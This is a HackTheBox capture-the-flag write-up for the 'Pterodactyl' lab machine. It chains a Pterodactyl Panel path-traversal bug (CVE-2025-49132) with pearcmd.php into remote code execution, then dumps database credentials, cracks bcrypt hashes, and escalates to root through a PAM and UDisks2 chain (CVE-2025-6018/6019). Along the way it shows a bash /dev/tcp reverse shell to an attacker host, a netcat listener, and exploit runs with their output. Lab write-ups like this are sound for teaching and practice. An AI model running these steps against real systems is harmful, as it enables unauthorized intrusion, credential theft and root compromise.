# Pterodactyl Writeup - HackTheBox

> Exploit a Pterodactyl game panel via subdomain enumeration, command injection, and privilege escalation to root on this medium Linux box.

- **URL:** https://hackindex.io/writeups/pterodactyl
- **Platform:** HackTheBox
- **Difficulty:** Medium
- **Operating system:** Linux
- **Machine:** https://hacktheboxltd.sjv.io/pterodactyl
- **Tags:** command-injection, lfi, privilege-escalation, suid, sudo-misconfiguration, hash-cracking, subdomain-enumeration, cve-2025-49132
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 5 min read
- **Published:** 2026-02-23
- **Updated:** 2026-05-16

## Discovery

TCP scan reveals two open ports. The HTTP server immediately redirects to `pterodactyl.htb`, signalling virtual host routing.

```bash
scan_tcp_full $TARGET_IP
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 9.6 (protocol 2.0)
# 80/tcp open  http    nginx 1.21.5
# |_http-title: Pterodactyl
```

Vhost enumeration against the base domain finds one additional subdomain. The `panel` vhost returns a 200 with a distinct response size ,  confirmed live.

```bash
gobuster vhost -u pterodactyl.htb -w /usr/share/wordlists/dirb/big.txt --append-domain --xs 400,301 -t 50
# panel.pterodactyl.htb   Status: 200 [Size: 1897]
#
```

Add both to `/etc/hosts`:

```bash
echo "$TARGET_IP pterodactyl.htb panel.pterodactyl.htb" >> /etc/hosts
```

`panel.pterodactyl.htb` serves the Pterodactyl Panel login interface ,  a PHP/Laravel game server management platform. The `X-Powered-By` header confirms PHP 8.4.8 on nginx 1.21.5.

## Vulnerability Discovery

### CVE-2025-49132 ,  Unauthenticated LFI via locale endpoint

Pterodactyl Panel ≤ 1.11.10 exposes a path traversal vulnerability through the `/locales/locale.json` endpoint. The `locale` and `namespace` GET parameters are not sanitised, allowing traversal outside the locale directory into the application's config tree. Because PEAR (`pearcmd.php`) is installed on the system, the LFI can be chained into unauthenticated RCE.

Confirm the endpoint is accessible and the target is vulnerable:

```bash
curl -v "http://panel.$DOMAIN/locales/locale.json"
```

The server returns HTTP 200 with a valid session cookie and CSRF token ,  no authentication required. Multiple public PoCs confirm the path traversal with `locale=../../../pterodactyl&namespace=config/database`.

Run the scanner to confirm:

```bash
python3 CVE-2025-49132-PoC.py --url http://panel.$DOMAIN
# [+] Vulnerable: Vulnerability confirmed
#     Exploit URL: http://panel.pterodactyl.htb/locales/locale.json?locale=..%2F..%2Fconfig&namespace=app
#     Extracted APP_KEY: base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
#
```

Run the credential dumper:

```bash
python3 dump-creds.py http://panel.$DOMAIN
# App key: base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
#
# -- Database config --
# host: 127.0.0.1  port: 3306  database: panel
# username: pterodactyl  password: $PTERODACTYL_PASSWORD
#
```

Database credentials are stored in plaintext inside the Laravel config. The APP_KEY is used by Laravel to encrypt session cookies ,  possession of it allows session forgery, but RCE is the faster path here.

## Initial Access

### RCE via pearcmd.php

`phpinfo.php` on `pterodactyl.htb` reveals PEAR is installed at `/usr/share/php/PEAR`. The `pearcmd.php` file can be included via the same locale traversal, and PEAR's `config-create` command writes arbitrary content to a path controlled by the attacker. This gives file write and therefore RCE.

Start a listener:

```bash
nc -lvnp $ATTACKER_PORT
```

Run the full exploit with a reverse shell payload, pointing at the confirmed PEAR path:

```bash
python3 exploit.py http://panel.$DOMAIN \
  --rce-cmd "/bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1" \
  --pear-dir /usr/share/php/PEAR
# [+] TARGET IS VULNERABLE
# [+] Output: (connection held — check your listener)
```

Shell received:

```
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
wwwrun@pterodactyl:/var/www/pterodactyl/public>

```

Running as `wwwrun` (uid=474). The web root is `/var/www/pterodactyl`.

## Post-Exploitation

### Credential extraction via MySQL

Two shell users exist with a login shell: `headmonitor` and `phileasfogg3`. The database credentials from the config dump work directly against the local MySQL instance.

```bash
mysql -u pterodactyl -p$PTERODACTYL_PASSWORD -h 127.0.0.1 -D panel \
  -e "SELECT id, username, email, password, root_admin FROM users;"
# id  username      email                         root_admin
# 2   headmonitor   headmonitor@pterodactyl.htb   1
# 3   phileasfogg3  phileasfogg3@pterodactyl.htb  0
```

Two bcrypt hashes. Save them to `hashes.txt` and crack offline:

```bash
hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -w 3 --force
```

One hash cracks. `$PHILEASFOGG3_PASSWORD` recovers for `phileasfogg3`. The `headmonitor` hash does not crack from rockyou.

## User Shell

SSH with the cracked credentials:

```bash
ssh phileasfogg3@$TARGET_IP
# (phileasfogg3@$TARGET_IP) Password:
# Have a lot of fun...
# phileasfogg3@pterodactyl:~>
#
```

`sudo -l` returns nothing actionable ,  `targetpw` is set, blocking sudo escalation without root's password. No writable cron entries. SUID scan returns only standard system binaries. PATH includes `/home/phileasfogg3/bin` first, but the directory is empty.

Check local mail:

```bash
cat /var/mail/phileasfogg3
```

An internal message from `headmonitor` flags unusual activity from the `udisksd` daemon and advises reviewing logs and applying updates. Combined with `udisksd` running as root (confirmed via `busctl list`), this points directly to CVE-2025-6019.

## Privilege Escalation

### CVE-2025-6018 + CVE-2025-6019 ,  PAM session spoof to UDisks2 LPE

Two vulnerabilities chained:

**CVE-2025-6018** ,  PAM `pam_env.so` 1.3.0 reads `~/.pam_environment` before `pam_systemd.so` registers the session. The `OVERRIDE` directive lets an unprivileged user inject `XDG_SEAT=seat0` and `XDG_VTNR=1` into the environment, causing systemd-logind to register the SSH session as a local physical session. This grants `allow_active` Polkit status ,  the same privilege level as a user physically present at the console.

**CVE-2025-6019** ,  When `UDisks2.Filesystem.Resize` is called on an XFS loop device with an impossible target size (e.g. `1`), `libblockdev` creates a temporary mount at `/tmp/blockdev.XXXXXX/`, mounts the loop device, fails the resize, then returns without unmounting. Any SUID binary inside the image remains accessible through the stuck mount.

The `allow_active` session from CVE-2025-6018 is required to call `udisksctl loop-setup` and trigger the resize ,  without it, Polkit rejects both operations.

### Build the exploit image (attacker machine)

Clone the PoC and run it locally to generate the XFS image containing a static SUID root binary:

```bash
git clone https://github.com/MichaelVenturella/CVE-2025-6018-6019-PoC
cd CVE-2025-6018-6019-PoC
sh build_poc.sh
# [+] Compiled static rootbash.
# [+] Created XFS image.
# [+] Injected SUID shell into image.
# [+] Compiled static catcher.
# [SUCCESS] Upload 'exploit.img' and 'catcher' to the target /tmp folder.
```

A static binary is required because SUID execution ignores `LD_LIBRARY_PATH` ,  a dynamically linked binary would fail if library versions differ between attacker and target.

Transfer to the target:

```bash
scp exploit.img catcher exploit.sh phileasfogg3@$TARGET_IP:/tmp/
```

### Stage 1 ,  Inject PAM environment and verify allow_active

The CVE-2025-6018 script handles the `.pam_environment` write and reconnection automatically:

```bash
python3 CVE-2025-6018.py -i $TARGET_IP -u $USER -p $PHILEASFOGG3_PASSWORD
# [INFO] Vulnerable PAM version detected: pam-1.3.0
# [INFO] pam_systemd.so found - escalation vector available
# [INFO] Writing .pam_environment file
# [INFO] Reconnecting to trigger PAM environment loading
# [INFO] PRIVILEGE ESCALATION DETECTED: SystemD Reboot
# [INFO] EXPLOITATION SUCCESSFUL - Privilege escalation confirmed
# [INFO] Starting interactive shell session
# --- Interactive Shell ---
```

Verify the session registered as a local seat:

```bash
loginctl show-session $(loginctl | awk 'NR==2{print $1}')
# VTNr=1
# Seat=seat0
# Active=yes
#
```

`Seat=seat0` and `VTNr=1` confirm `allow_active`. The session is now treated as physically local.

### Stage 2 ,  Trigger CVE-2025-6019 and catch the stuck mount

From inside the exploit shell, make the files executable then run the exploit:

```bash
chmod +x /tmp/exploit.sh /tmp/catcher
/tmp/exploit.sh
# [+] Session is Active. Polkit bypass enabled.
# [*] Starting Background Trigger (Wait 2s)...
# [*] Starting Foreground Catcher...
# [*] HOLD TIGHT. ROOT SHELL INCOMING.
# [*] Sniper started. Waiting for ANY loop mount...
# [*] (BG) Setting up loop device...
# [*] (BG) Triggering Resize on /org/freedesktop/UDisks2/block_devices/loop0...
#
# [!!!] HIT! Mounted at: /tmp/blockdev.RBR2K3
# pterodactyl:~ # whoami
# root
```

Root shell obtained via the static SUID binary left accessible in the stuck XFS mount.

Related

## References

- [CVE-2025-49132 NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2025-49132)
- [CVE-2025-6018 NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2025-6018)
- [CVE-2025-6019 NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2025-6019)
- [Pterodactyl Panel v1.11.11 patch release](https://github.com/pterodactyl/panel/releases/tag/v1.11.11)
- [CVE-2025-6018/6019 combined PoC](https://github.com/MichaelVenturella/CVE-2025-6018-6019-PoC)
- [CVE-2025-6018 standalone PoC](https://github.com/ibrahmsql/CVE-2025-6018)
